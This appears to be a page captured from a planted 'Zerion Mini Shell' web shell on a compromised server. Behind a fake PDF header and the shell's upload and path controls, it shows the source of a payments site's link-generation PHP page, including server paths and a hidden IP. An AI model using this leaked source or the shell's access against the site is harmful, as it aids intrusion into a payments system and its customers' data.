%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/eirtvhdf/payments.hire-va.com/
Upload File :
Create Path :
Current File : //home/eirtvhdf/payments.hire-va.com/generatelink.php

<?php include("inc/c.php"); ?>
<!DOCTYPE html>
<html>
<head>
    <title>Generate New Link</title>
    <!-- Required meta tags -->
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <?php include("inc/css.php"); ?>
</head>
<body>
    <!--wrapper-->
    <div id="divSideMenu" class="wrapper">
        <?php include("inc/m.php"); ?>
        <div class="page-wrapper">
            <div class="page-content">
                <div class="row">
					<div class="col-xl-9 mx-auto">
						<h6 class="mb-0 text-uppercase">Enter New Link Information</h6>
						<hr>
						<div class="card">
							<div class="card-body">
								<div class="p-4 border rounded">
									<form id="frmGenerateLink" class="row g-3">
										<div class="col-md-4 ">
											<label for="txtName" class="form-label">Name</label>
											<input type="text" class="form-control" id="txtName" value="" required="">
										</div>
										<div class="col-md-4">
											<label for="txtEmail" class="form-label">Email</label>
											<input type="email" class="form-control" id="txtEmail" value="" required="">
										</div>
										<div class="col-md-4">
											<label for="txtPhone" class="form-label">Phone</label>
											<div class="input-group"> <span class="input-group-text" id="inputGroupPrepend2">+1</span>
												<input type="text" class="form-control" id="txtPhone" aria-describedby="inputGroupPrepend2" required="">
											</div>
										</div>
										<div class="col-md-4">
											<label for="txtItem" class="form-label">Item</label>
											<input type="text" class="form-control" id="txtItem" value="" required="">
										</div>
										<div class="col-md-4" style="display:none">
											<label for="txtItem" class="form-label">IP</label>
											<input type="text" class="form-control" id="txtIP" value="162.240.228.156" required="">
										</div>
										<div class="col-md-4">
											<label for="txtAmount" class="form-label">Amount</label>
											<div class="input-group"> <span class="input-group-text" id="inputGroupPrepend2">$</span>
												<input type="text" class="form-control" id="txtAmount" aria-describedby="inputGroupPrepend2" required="">
											</div>
										</div>
										<div class="col-12">
											<button class="btn btn-primary" type="submit">Generate</button>
										</div>
									</form>
									<div class="col-12">
										<span id="spanPaymentLink"></span>
										<a id="lnkPaymentLink" class='ms-3'  onclick='CopyToCB(this);return false;' style="display:none;"><i class='bx bx-link'></i></a>
									</div>
								</div>
							</div>
						</div>
					</div>
				</div>
            </div>
        </div>
        <?php include("inc/f.php"); ?>
    </div>
    <!--end wrapper-->
	<?php include("inc/js.php"); ?>
	<script>
        var url = '<?php echo $api_base ?>';
        var user = GetUser();
        $(function () {
            $("#frmGenerateLink").on("submit", function (event) {
                GetLink(event);
                return false;
            });
        });
        function GetLink(event) {
            $("#spanPaymentLink").text("");
            $("#lnkPaymentLink").hide();
            $.ajax({
                url: url + "_generatelink.php?userId=" + user.id ,
                type: 'POST',
                data: {
                    cname: $("#txtName").val(),
                    cemail: $("#txtEmail").val(),
                    cphone: $("#txtPhone").val(),
                    item: $("#txtItem").val(),
                    ip: $("#txtIP").val(),
                    amount: $("#txtAmount").val(),
                },
                cache: false,
                beforeSend: function (b) {
                    ProcessButton(event.currentTarget);
                    console.log(b);
                },
                success: function (data) {
                    console.log(data);
                    if (data.length>0 && data.indexOf("Error")<0 && data!="0")
                    {
                        $("#spanPaymentLink").text("<?php echo $url_base; ?>/co.php?id="+data);
                        $("#lnkPaymentLink").attr("href","<?php echo $url_base; ?>/co.php?id="+data);
                        $("#lnkPaymentLink").show();
                        round_success_noti("Successfully saved");
                    }
                    else
                    {
                        round_error_noti("Error: Unable to generate link");
                    }
                },
                error: function (e) {
                    console.log(e);
                    round_error_noti(e.statusText);
                },
                complete: function (c) {

                    console.log(c);
                    CompleteButton(event.currentTarget);

                }
            });
        }
    </script>
</body>

Zerion Mini Shell 1.0